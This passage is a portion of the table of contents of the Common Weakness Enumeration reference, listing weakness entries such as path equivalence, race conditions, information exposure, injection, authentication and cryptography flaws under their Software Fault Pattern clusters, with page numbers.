- CWE-37: Path Traversal: '/absolute/pathname/here' (p. 67)
- CWE-38: Path Traversal: '\absolute\pathname\here' (p. 68)
- CWE-39: Path Traversal: 'C:dirname' (p. 70)
- CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) (p. 72)
- B CWE-41: Improper Resolution of Path Equivalence (p. 73)
- CWE-42: Path Equivalence: 'filename.' (Trailing Dot) (p. 78)
- B CWE-428: Unquoted Search Path or Element (p. 736)
- CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) (p. 79)
- CWE-44: Path Equivalence: 'file.name' (Internal Dot) (p. 79)
- CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot) (p. 80)
- CWE-46: Path Equivalence: 'filename ' (Trailing Space) (p. 80)
- CWE-47: Path Equivalence: ' filename' (Leading Space) (p. 81)
- CWE-48: Path Equivalence: 'file name' (Internal Whitespace) (p. 82)
- CWE-49: Path Equivalence: 'filename/' (Trailing Slash) (p. 83)
- CWE-50: Path Equivalence: '//multiple/leading/slash' (p. 83)
- CWE-51: Path Equivalence: '/multiple//internal/slash' (p. 84)
- CWE-52: Path Equivalence: '/multiple/trailing/slash/' (p. 85)
- CWE-53: Path Equivalence: '\multiple\internal\backslash' (p. 86)
- CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash) (p. 86)
- CWE-55: Path Equivalence: './.' (Single Dot Directory) (p. 87)
- CWE-56: Path Equivalence: 'filedir\*' (Wildcard) (p. 88)
- CWE-57: Path Equivalence: 'fakedir../readdir/filename' (p. 89)
- CWE-58: Path Equivalence: Windows 8.3 Filename (p. 90)
- B CWE-66: Improper Handling of File Names that Identify Virtual Resources (p. 101)
- CWE-67: Improper Handling of Windows Device Names (p. 103)
- CWE-706: Use of Incorrectly-Resolved Name or Reference (p. 1106)
- CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path (p. 107)
- CWE-73: External Control of File Name or Path (p. 109)
- C CWE-894: SFP Primary Cluster: Synchronization (p. 1325)
- C CWE-986: SFP Secondary Cluster: Missing Lock (p. 1386)
- B CWE-364: Signal Handler Race Condition (p. 635)
- B CWE-365: Race Condition in Switch (p. 639)
- B CWE-366: Race Condition within a Thread (p. 640)
- B CWE-368: Context Switching Race Condition (p. 645)

- B CWE-413: Improper Resource Locking (p. 713)
- B CWE-414: Missing Lock Check (p. 716)
- V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 882)
- B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p. 903)
- B CWE-609: Double-Checked Locking (p. 955)
- B CWE-662: Improper Synchronization (p. 1024)
- B CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p. 1025)
- B CWE-667: Improper Locking (p. 1032)
- C CWE-987: SFP Secondary Cluster: Multiple Locks/Unlocks (p. 1387)
  - V CWE-585: Empty Synchronized Block (p. 925)
  - V CWE-764: Multiple Locks of a Critical Resource (p. 1168)
  - V CWE-765: Multiple Unlocks of a Critical Resource (p. 1169)
- C CWE-988: SFP Secondary Cluster: Race Condition Window (p. 1387)
  - C CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
  - B CWE-363: Race Condition Enabling Link Following (p. 633)
  - B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p. 642)
  - B CWE-370: Missing Check for Certificate Revocation after Initial Check (p. 649)
  - C CWE-638: Not Using Complete Mediation (p. 986)
- C CWE-989: SFP Secondary Cluster: Unrestricted Lock (p. 1387)
  - B CWE-412: Unrestricted Externally Accessible Lock (p. 711)
- C CWE-895: SFP Primary Cluster: Information Leak (p. 1326)
- C CWE-963: SFP Secondary Cluster: Exposed Data (p. 1377)
  - V CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p. 8)
  - B CWE-117: Improper Output Neutralization for Logs (p. 223)
  - V CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p. 9)
  - V CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p. 11)
  - B CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
  - C CWE-200: Information Exposure (p. 384)
  - V CWE-201: Information Exposure Through Sent Data (p. 387)
  - B CWE-209: Information Exposure Through an Error Message (p. 397)
  - B CWE-210: Information Exposure Through Self-generated Error Message (p. 402)
  - B CWE-211: Information Exposure Through Externally-generated Error Message (p. 403)
  - B CWE-212: Improper Cross-boundary Removal of Sensitive Data (p. 405)
  - B CWE-213: Intentional Information Exposure (p. 407)
  - V CWE-214: Information Exposure Through Process Environment (p. 408)
  - V CWE-215: Information Exposure Through Debug Information (p. 409)
  - V CWE-219: Sensitive Data Under Web Root (p. 412)
  - V CWE-220: Sensitive Data Under FTP Root (p. 412)
  - B CWE-226: Sensitive Information Uncleared Before Release (p. 417)
  - V CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 434)
  - V CWE-256: Plaintext Storage of a Password (p. 454)
  - B CWE-257: Storing Passwords in a Recoverable Format (p. 456)
  - V CWE-260: Password in Configuration File (p. 463)
  - B CWE-311: Missing Encryption of Sensitive Data (p. 548)
  - B CWE-312: Cleartext Storage of Sensitive Information (p. 553)
  - V CWE-313: Cleartext Storage in a File or on Disk (p. 556)
  - V CWE-314: Cleartext Storage in the Registry (p. 557)
  - V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p. 558)
  - V CWE-316: Cleartext Storage of Sensitive Information in Memory (p. 559)
  - V CWE-317: Cleartext Storage of Sensitive Information in GUI (p. 560)
  - V CWE-318: Cleartext Storage of Sensitive Information in Executable (p. 561)
  - B CWE-319: Cleartext Transmission of Sensitive Information (p. 562)
  - B CWE-374: Passing Mutable Objects to an Untrusted Method (p. 652)























































-  CWE-375: Returning a Mutable Object to an Untrusted Caller (p. 654)
-  CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak') (p. 697)
-  CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p. 697)
-  CWE-433: Unparsed Raw Web Content Delivery (p. 741)
-  CWE-495: Private Array-Typed Field Returned From A Public Method (p. 838)
-  CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 840)
-  CWE-498: Cloneable Class Containing Sensitive Information (p. 842)
-  CWE-499: Serializable Class Containing Sensitive Data (p. 844)
-  CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p. 2)
-  CWE-501: Trust Boundary Violation (p. 846)
-  CWE-522: Insufficiently Protected Credentials (p. 862)
-  CWE-523: Unprotected Transport of Credentials (p. 865)
-  CWE-526: Information Exposure Through Environmental Variables (p. 868)
-  CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere (p. 868)
-  CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 869)
-  CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 870)
-  CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p. 870)
-  CWE-532: Information Exposure Through Log Files (p. 872)
-  CWE-533: Information Exposure Through Server Log Files (p. 873)
-  CWE-534: Information Exposure Through Debug Log Files (p. 874)
-  CWE-535: Information Exposure Through Shell Error Message (p. 874)
-  CWE-536: Information Exposure Through Servlet Runtime Error Message (p. 875)
-  CWE-537: Information Exposure Through Java Runtime Error Message (p. 876)
-  CWE-538: File and Directory Information Exposure (p. 877)
-  CWE-539: Information Exposure Through Persistent Cookies (p. 878)
-  CWE-540: Information Exposure Through Source Code (p. 879)
-  CWE-541: Information Exposure Through Include Source Code (p. 880)
-  CWE-542: Information Exposure Through Cleanup Log Files (p. 881)
-  CWE-546: Suspicious Comment (p. 885)
-  CWE-548: Information Exposure Through Directory Listing (p. 887)
-  CWE-550: Information Exposure Through Server Error Message (p. 888)
-  CWE-552: Files or Directories Accessible to External Parties (p. 889)
-  CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File (p. 892)
-  CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 932)
-  CWE-598: Information Exposure Through Query Strings in GET Request (p. 939)
-  CWE-607: Public Static Final Field References Mutable Object (p. 953)
-  CWE-612: Information Exposure Through Indexing of Private Data (p. 960)
-  CWE-615: Information Exposure Through Comments (p. 962)
-  CWE-642: External Control of Critical State Data (p. 993)
-  CWE-668: Exposure of Resource to Wrong Sphere (p. 1035)
-  CWE-669: Incorrect Resource Transfer Between Spheres (p. 1036)
-  CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)
-  CWE-756: Missing Custom Error Page (p. 1151)
-  CWE-767: Access to Critical Private Variable via Public Method (p. 1172)
-  CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote (p. 6)
-  CWE-964: SFP Secondary Cluster: Exposure Temporary File (p. 1378)
  -  CWE-377: Insecure Temporary File (p. 655)
  -  CWE-378: Creation of Temporary File With Insecure Permissions (p. 658)
  -  CWE-379: Creation of Temporary File in Directory with Incorrect Permissions (p. 659)
-  CWE-965: SFP Secondary Cluster: Insecure Session Management (p. 1379)
  -  CWE-488: Exposure of Data Element to Wrong Session (p. 823)
  -  CWE-524: Information Exposure Through Caching (p. 866)
  -  CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p. 3)

- C CWE-966: SFP Secondary Cluster: Other Exposures (p. 1379)
  - B CWE-453: Insecure Default Variable Initialization (p. 766)
  - G CWE-485: Insufficient Encapsulation (p. 819)
  - V CWE-487: Reliance on Package-level Scope (p. 822)
  - V CWE-492: Use of Inner Class Containing Sensitive Data (p. 827)
  - V CWE-525: Information Exposure Through Browser Caching (p. 867)
  - V CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute (p. 961)
  - V CWE-651: Information Exposure Through WSDL File (p. 1008)
- C CWE-967: SFP Secondary Cluster: State Disclosure (p. 1379)
  - V CWE-202: Exposure of Sensitive Data Through Data Queries (p. 389)
  - G CWE-203: Information Exposure Through Discrepancy (p. 389)
  - B CWE-204: Response Discrepancy Information Exposure (p. 392)
  - B CWE-205: Information Exposure Through Behavioral Discrepancy (p. 394)
  - V CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency (p. 395)
  - V CWE-207: Information Exposure Through an External Behavioral Inconsistency (p. 396)
  - B CWE-208: Information Exposure Through Timing Discrepancy (p. 396)
- C CWE-896: SFP Primary Cluster: Tainted Input (p. 1326)
  - C CWE-990: SFP Secondary Cluster: Tainted Input to Command (p. 1388)
    - C CWE-100: Technology-Specific Input Validation Problems (p. 192)
    - V CWE-102: Struts: Duplicate Validation Forms (p. 193)
    - V CWE-103: Struts: Incomplete validate() Method Definition (p. 194)
    - V CWE-104: Struts: Form Bean Does Not Extend Validation Class (p. 196)
    - V CWE-105: Struts: Form Field Without Validator (p. 198)
    - V CWE-106: Struts: Plug-in Framework not in Use (p. 200)
    - V CWE-107: Struts: Unused Validation Form (p. 202)
    - V CWE-108: Struts: Unvalidated Action Form (p. 204)
    - V CWE-109: Struts: Validator Turned Off (p. 205)
    - V CWE-110: Struts: Validator Without Form Field (p. 206)
    - B CWE-112: Missing XML Validation (p. 210)
    - B CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') (p. 211)
    - V CWE-130: Improper Handling of Length Parameter Inconsistency (p. 266)
    - B CWE-134: Uncontrolled Format String (p. 277)
    - G CWE-138: Improper Neutralization of Special Elements (p. 285)
    - B CWE-140: Improper Neutralization of Delimiters (p. 287)
    - V CWE-141: Improper Neutralization of Parameter/Argument Delimiters (p. 289)
    - V CWE-142: Improper Neutralization of Value Delimiters (p. 290)
    - V CWE-143: Improper Neutralization of Record Delimiters (p. 291)
    - V CWE-144: Improper Neutralization of Line Delimiters (p. 293)
    - V CWE-145: Improper Neutralization of Section Delimiters (p. 294)
    - V CWE-146: Improper Neutralization of Expression/Command Delimiters (p. 296)
    - V CWE-147: Improper Neutralization of Input Terminators (p. 297)
    - V CWE-148: Improper Neutralization of Input Leaders (p. 298)
    - V CWE-149: Improper Neutralization of Quoting Syntax (p. 299)
    - V CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p. 301)
    - V CWE-151: Improper Neutralization of Comment Delimiters (p. 302)
    - V CWE-152: Improper Neutralization of Macro Symbols (p. 304)
    - V CWE-153: Improper Neutralization of Substitution Characters (p. 305)
    - V CWE-154: Improper Neutralization of Variable Name Delimiters (p. 307)
    - V CWE-155: Improper Neutralization of Wildcards or Matching Symbols (p. 308)
    - V CWE-156: Improper Neutralization of Whitespace (p. 309)
    - V CWE-157: Failure to Sanitize Paired Delimiters (p. 311)
    - V CWE-158: Improper Neutralization of Null Byte or NUL Character (p. 312)
    - G CWE-159: Failure to Sanitize Special Element (p. 314)



- V CWE-160: Improper Neutralization of Leading Special Elements (p. 316)
- V CWE-161: Improper Neutralization of Multiple Leading Special Elements (p. 317)
- V CWE-162: Improper Neutralization of Trailing Special Elements (p. 319)
- V CWE-163: Improper Neutralization of Multiple Trailing Special Elements (p. 320)
- V CWE-164: Improper Neutralization of Internal Special Elements (p. 321)
- V CWE-165: Improper Neutralization of Multiple Internal Special Elements (p. 323)
- B CWE-183: Permissive Whitelist (p. 352)
- B CWE-184: Incomplete Blacklist (p. 352)
- C CWE-185: Incorrect Regular Expression (p. 355)
- B CWE-186: Overly Restrictive Regular Expression (p. 356)
- B CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') (p. 756)
- V CWE-553: Command Shell in Externally Accessible Directory (p. 890)
- V CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 891)
- V CWE-564: SQL Injection: Hibernate (p. 900)
- V CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 942)
- V CWE-611: Improper Restriction of XML External Entity Reference ('XXE') (p. 958)
- B CWE-619: Dangling Database Cursor ('Cursor Injection') (p. 966)
- B CWE-621: Variable Extraction Error (p. 969)
- B CWE-624: Executable Regular Expression Error (p. 972)
- B CWE-625: Permissive Regular Expression (p. 973)
- V CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 974)
- B CWE-627: Dynamic Variable Evaluation (p. 975)
- B CWE-641: Improper Restriction of Names for Files and Other Resources (p. 991)
- B CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p. 998)
- V CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p. 999)
- V CWE-646: Reliance on File Name or Extension of Externally-Supplied File (p. 1002)
- B CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p. 1009)
- C CWE-707: Improper Enforcement of Message or Data Structure (p. 1107)
- C CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p. 113)
- C CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (p. 116)
- B CWE-76: Improper Neutralization of Equivalent Special Elements (p. 116)
- C CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
- B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
- B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
- V CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p. 142)
- V CWE-81: Improper Neutralization of Script in an Error Message Web Page (p. 144)
- V CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (p. 146)
- V CWE-83: Improper Neutralization of Script in Attributes in a Web Page (p. 147)
- V CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page (p. 149)
- V CWE-85: Doubled Character XSS Manipulations (p. 151)
- V CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p. 152)
- V CWE-87: Improper Neutralization of Alternate XSS Syntax (p. 154)
- B CWE-88: Argument Injection or Modification (p. 155)
- B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
- B CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 169)
- B CWE-91: XML Injection (aka Blind XPath Injection) (p. 170)
- B CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p. 172)

- B CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 177)
- B CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p. 181)
- V CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p. 183)
- B CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p. 190)
- C CWE-991: SFP Secondary Cluster: Tainted Input to Environment (p. 1390)
- B CWE-114: Process Control (p. 215)
- B CWE-427: Uncontrolled Search Path Element (p. 733)
- B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p. 789)
- B CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 792)
- B CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
- V CWE-473: PHP External Variable Modification (p. 796)
- B CWE-494: Download of Code Without Integrity Check (p. 835)
- V CWE-545: Use of Dynamic Class Loading (p. 884)
- V CWE-622: Improper Validation of Function Hook Arguments (p. 970)
- C CWE-673: External Influence of Sphere Definition (p. 1041)
- C CWE-94: Improper Control of Generation of Code ('Code Injection') (p. 173)
- C CWE-992: SFP Secondary Cluster: Faulty Input Transformation (p. 1390)
- C CWE-116: Improper Encoding or Escaping of Output (p. 217)
- B CWE-166: Improper Handling of Missing Special Element (p. 324)
- B CWE-167: Improper Handling of Additional Special Element (p. 325)
- B CWE-168: Improper Handling of Inconsistent Special Elements (p. 326)
- C CWE-172: Encoding Error (p. 333)
- V CWE-173: Improper Handling of Alternate Encoding (p. 335)
- V CWE-174: Double Decoding of the Same Data (p. 336)
- V CWE-175: Improper Handling of Mixed Encoding (p. 338)
- V CWE-176: Improper Handling of Unicode Encoding (p. 339)
- V CWE-177: Improper Handling of URL Encoding (Hex Encoding) (p. 341)
- B CWE-178: Improper Handling of Case Sensitivity (p. 343)
- B CWE-179: Incorrect Behavior Order: Early Validation (p. 345)
- B CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p. 347)
- B CWE-181: Incorrect Behavior Order: Validate Before Filter (p. 349)
- B CWE-182: Collapse of Data into Unsafe Value (p. 350)
- C CWE-993: SFP Secondary Cluster: Incorrect Input Handling (p. 1391)
- B CWE-198: Use of Incorrect Byte Ordering (p. 383)
- C CWE-228: Improper Handling of Syntactically Invalid Structure (p. 420)
- B CWE-229: Improper Handling of Values (p. 421)
- V CWE-230: Improper Handling of Missing Values (p. 422)
- V CWE-231: Improper Handling of Extra Values (p. 423)
- V CWE-232: Improper Handling of Undefined Values (p. 423)
- B CWE-233: Improper Handling of Parameters (p. 424)
- V CWE-234: Failure to Handle Missing Parameter (p. 425)
- V CWE-235: Improper Handling of Extra Parameters (p. 427)
- V CWE-236: Improper Handling of Undefined Parameters (p. 427)
- B CWE-237: Improper Handling of Structural Elements (p. 428)
- V CWE-238: Improper Handling of Incomplete Structural Elements (p. 428)
- V CWE-239: Failure to Handle Incomplete Element (p. 429)
- V CWE-240: Improper Handling of Inconsistent Structural Elements (p. 430)
- B CWE-241: Improper Handling of Unexpected Data Type (p. 430)
- B CWE-351: Insufficient Type Distinction (p. 610)
- B CWE-354: Improper Validation of Integrity Check Value (p. 618)
- C CWE-994: SFP Secondary Cluster: Tainted Input to Variable (p. 1391)
- B CWE-15: External Control of System or Configuration Setting (p. 14)

-  CWE-20: Improper Input Validation (*p. 18*)
-  CWE-454: External Initialization of Trusted Variables or Data Stores (*p. 767*)
-  CWE-496: Public Data Assigned to Private Array-Typed Field (*p. 839*)
-  CWE-502: Deserialization of Untrusted Data (*p. 847*)
-  CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (*p. 902*)
-  CWE-606: Unchecked Input for Loop Condition (*p. 953*)
-  CWE-616: Incomplete Identification of Uploaded File Variables (PHP) (*p. 963*)
-  CWE-897: SFP Primary Cluster: Entry Points (*p. 1326*)
-  CWE-1002: SFP Secondary Cluster: Unexpected Entry Points (*p. 1404*)
  -  CWE-489: Leftover Debug Code (*p. 824*)
  -  CWE-491: Public cloneable() Method Without Final ('Object Hijack') (*p. 826*)
  -  CWE-493: Critical Public Variable Without Final Modifier (*p. 833*)
  -  CWE-500: Public Static Field Not Marked Final (*p. 845*)
  -  CWE-531: Information Exposure Through Test Code (*p. 871*)
  -  CWE-568: finalize() Method Without super.finalize() (*p. 905*)
  -  CWE-580: clone() Method Without super.clone() (*p. 920*)
  -  CWE-582: Array Declared Public, Final, and Static (*p. 922*)
  -  CWE-583: finalize() Method Declared Public (*p. 923*)
  -  CWE-608: Struts: Non-private Field in ActionForm Class (*p. 954*)
  -  CWE-766: Critical Variable Declared Public (*p. 1170*)
-  CWE-898: SFP Primary Cluster: Authentication (*p. 1326*)
  -  CWE-947: SFP Secondary Cluster: Authentication Bypass (*p. 1371*)
    -  CWE-287: Improper Authentication (*p. 507*)
    -  CWE-288: Authentication Bypass Using an Alternate Path or Channel (*p. 512*)
    -  CWE-289: Authentication Bypass by Alternate Name (*p. 513*)
    -  CWE-303: Incorrect Implementation of Authentication Algorithm (*p. 535*)
    -  CWE-304: Missing Critical Step in Authentication (*p. 535*)
    -  CWE-305: Authentication Bypass by Primary Weakness (*p. 536*)
    -  CWE-308: Use of Single-factor Authentication (*p. 544*)
    -  CWE-309: Use of Password System for Primary Authentication (*p. 545*)
    -  CWE-592: Authentication Bypass Issues (*p. 933*)
    -  CWE-603: Use of Client-Side Authentication (*p. 950*)
  -  CWE-948: SFP Secondary Cluster: Digital Certificate (*p. 1372*)
    -  CWE-296: Improper Following of a Certificate's Chain of Trust (*p. 523*)
    -  CWE-297: Improper Validation of Certificate with Host Mismatch (*p. 525*)
    -  CWE-298: Improper Validation of Certificate Expiration (*p. 527*)
    -  CWE-299: Improper Check for Certificate Revocation (*p. 528*)
    -  CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (*p. 934*)
    -  CWE-599: Missing Validation of OpenSSL Certificate (*p. 940*)
  -  CWE-949: SFP Secondary Cluster: Faulty Endpoint Authentication (*p. 1372*)
    -  CWE-293: Using Referer Field for Authentication (*p. 518*)
    -  CWE-302: Authentication Bypass by Assumed-Immutable Data (*p. 533*)
    -  CWE-345: Insufficient Verification of Data Authenticity (*p. 600*)
    -  CWE-346: Origin Validation Error (*p. 602*)
    -  CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (*p. 608*)
    -  CWE-360: Trust of System Event Data (*p. 625*)
    -  CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (*p. 889*)
    -  CWE-565: Reliance on Cookies without Validation and Integrity Checking (*p. 901*)
    -  CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (*p. 1003*)
-  CWE-950: SFP Secondary Cluster: Hardcoded Sensitive Data (*p. 1372*)
  -  CWE-258: Empty Password in Configuration File (*p. 458*)
  -  CWE-259: Use of Hard-coded Password (*p. 459*)
  -  CWE-321: Use of Hard-coded Cryptographic Key (*p. 565*)
  -  CWE-547: Use of Hard-coded, Security-relevant Constants (*p. 885*)



- C CWE-951: SFP Secondary Cluster: Insecure Authentication Policy (p. 1373)
  - V CWE-262: Not Using Password Aging (p. 466)
  - B CWE-263: Password Aging with Long Expiration (p. 467)
  - B CWE-521: Weak Password Requirements (p. 861)
  - V CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p. 892)
  - B CWE-613: Insufficient Session Expiration (p. 960)
  - B CWE-645: Overly Restrictive Account Lockout Mechanism (p. 1000)
- C CWE-952: SFP Secondary Cluster: Missing Authentication (p. 1373)
  - V CWE-306: Missing Authentication for Critical Function (p. 537)
  - V CWE-620: Unverified Password Change (p. 967)
- C CWE-953: SFP Secondary Cluster: Missing Endpoint Authentication (p. 1373)
  - V CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p. 725)
  - B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- C CWE-954: SFP Secondary Cluster: Multiple Binds to the Same Port (p. 1374)
  - B CWE-605: Multiple Binds to the Same Port (p. 951)
- C CWE-955: SFP Secondary Cluster: Unrestricted Authentication (p. 1374)
  - B CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 541)
- C CWE-899: SFP Primary Cluster: Access Control (p. 1327)
  - C CWE-944: SFP Secondary Cluster: Access Management (p. 1370)
    - G CWE-282: Improper Ownership Management (p. 497)
    - B CWE-283: Unverified Ownership (p. 498)
    - G CWE-284: Improper Access Control (p. 499)
    - G CWE-286: Incorrect User Management (p. 507)
    - B CWE-708: Incorrect Ownership Assignment (p. 1108)
  - C CWE-945: SFP Secondary Cluster: Insecure Resource Access (p. 1371)
    - G CWE-285: Improper Authorization (p. 501)
    - G CWE-424: Improper Protection of Alternate Path (p. 727)
    - B CWE-639: Authorization Bypass Through User-Controlled Key (p. 988)
    - V CWE-650: Trusting HTTP Permission Methods on the Server Side (p. 1007)
  - C CWE-946: SFP Secondary Cluster: Insecure Resource Permissions (p. 1371)
    - V CWE-276: Incorrect Default Permissions (p. 490)
    - V CWE-277: Insecure Inherited Permissions (p. 492)
    - V CWE-278: Insecure Preserved Inherited Permissions (p. 493)
    - V CWE-279: Incorrect Execution-Assigned Permissions (p. 494)
    - B CWE-281: Improper Preservation of Permissions (p. 496)
    - V CWE-560: Use of umask() with chmod-style Argument (p. 895)
    - G CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
- C CWE-901: SFP Primary Cluster: Privilege (p. 1328)
  - G CWE-250: Execution with Unnecessary Privileges (p. 440)
  - B CWE-266: Incorrect Privilege Assignment (p. 471)
  - B CWE-267: Privilege Defined With Unsafe Actions (p. 473)
  - B CWE-268: Privilege Chaining (p. 475)
  - B CWE-269: Improper Privilege Management (p. 477)
  - B CWE-270: Privilege Context Switching Error (p. 479)
  - G CWE-271: Privilege Dropping / Lowering Errors (p. 480)
  - B CWE-272: Least Privilege Violation (p. 482)
  - B CWE-274: Improper Handling of Insufficient Privileges (p. 487)
  - V CWE-520: .NET Misconfiguration: Use of Impersonation (p. 861)
  - B CWE-653: Insufficient Compartmentalization (p. 1011)
  - V CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p. 7)
- C CWE-902: SFP Primary Cluster: Channel (p. 1328)
  - C CWE-956: SFP Secondary Cluster: Channel Attack (p. 1374)
    - B CWE-290: Authentication Bypass by Spoofing (p. 514)
    - B CWE-294: Authentication Bypass by Capture-replay (p. 520)
    - G CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle') (p. 530)

- V CWE-301: Reflection Attack in an Authentication Protocol (p. 532)
- B CWE-419: Unprotected Primary Channel (p. 723)
- B CWE-420: Unprotected Alternate Channel (p. 723)
- B CWE-421: Race Condition During Access to Alternate Channel (p. 724)
- C CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
- C CWE-957: SFP Secondary Cluster: Protocol Error (p. 1374)
- B CWE-353: Missing Support for Integrity Check (p. 616)
- C CWE-435: Interaction Error (p. 748)
- B CWE-436: Interpretation Conflict (p. 749)
- B CWE-437: Incomplete Model of Endpoint Features (p. 751)
- C CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') (p. 1152)
- C CWE-903: SFP Primary Cluster: Cryptography (p. 1328)
- C CWE-958: SFP Secondary Cluster: Broken Cryptography (p. 1375)
- B CWE-325: Missing Required Cryptographic Step (p. 570)
- B CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 573)
- B CWE-328: Reversible One-Way Hash (p. 578)
- B CWE-759: Use of a One-Way Hash without a Salt (p. 1153)
- B CWE-760: Use of a One-Way Hash with a Predictable Salt (p. 1157)
- C CWE-959: SFP Secondary Cluster: Weak Cryptography (p. 1375)
- V CWE-261: Weak Cryptography for Passwords (p. 464)
- B CWE-322: Key Exchange without Entity Authentication (p. 567)
- B CWE-323: Reusing a Nonce, Key Pair in Encryption (p. 568)
- B CWE-324: Use of a Key Past its Expiration Date (p. 569)
- C CWE-326: Inadequate Encryption Strength (p. 571)
- V CWE-329: Not Using a Random IV with CBC Mode (p. 580)
- B CWE-347: Improper Verification of Cryptographic Signature (p. 604)
- B CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p. 989)
- C CWE-904: SFP Primary Cluster: Malware (p. 1329)
- C CWE-968: SFP Secondary Cluster: Covert Channel (p. 1380)
- B CWE-385: Covert Timing Channel (p. 666)
- C CWE-514: Covert Channel (p. 858)
- B CWE-515: Covert Storage Channel (p. 858)
- C CWE-506: Embedded Malicious Code (p. 851)
- B CWE-507: Trojan Horse (p. 852)
- B CWE-508: Non-Replicating Malicious Code (p. 853)
- B CWE-509: Replicating Malicious Code (Virus or Worm) (p. 854)
- B CWE-510: Trapdoor (p. 854)
- B CWE-511: Logic/Time Bomb (p. 856)
- B CWE-512: Spyware (p. 857)
- V CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream (p. 105)
- C CWE-905: SFP Primary Cluster: Predictability (p. 1329)
- C CWE-330: Use of Insufficiently Random Values (p. 581)
- B CWE-331: Insufficient Entropy (p. 586)
- V CWE-332: Insufficient Entropy in PRNG (p. 587)
- V CWE-333: Improper Handling of Insufficient Entropy in TRNG (p. 588)
- B CWE-334: Small Space of Random Values (p. 589)
- C CWE-335: PRNG Seed Error (p. 591)
- B CWE-336: Same Seed in PRNG (p. 591)
- B CWE-337: Predictable Seed in PRNG (p. 592)
- B CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p. 593)
- B CWE-339: Small Seed Space in PRNG (p. 595)
- C CWE-340: Predictability Problems (p. 596)
- B CWE-341: Predictable from Observable State (p. 596)
- B CWE-342: Predictable Exact Value from Previous Values (p. 597)

- B CWE-343: Predictable Value Range from Previous Values (p. 598)
- B CWE-344: Use of Invariant Value in Dynamically Changing Context (p. 599)
- C CWE-906: SFP Primary Cluster: UI (p. 1329)
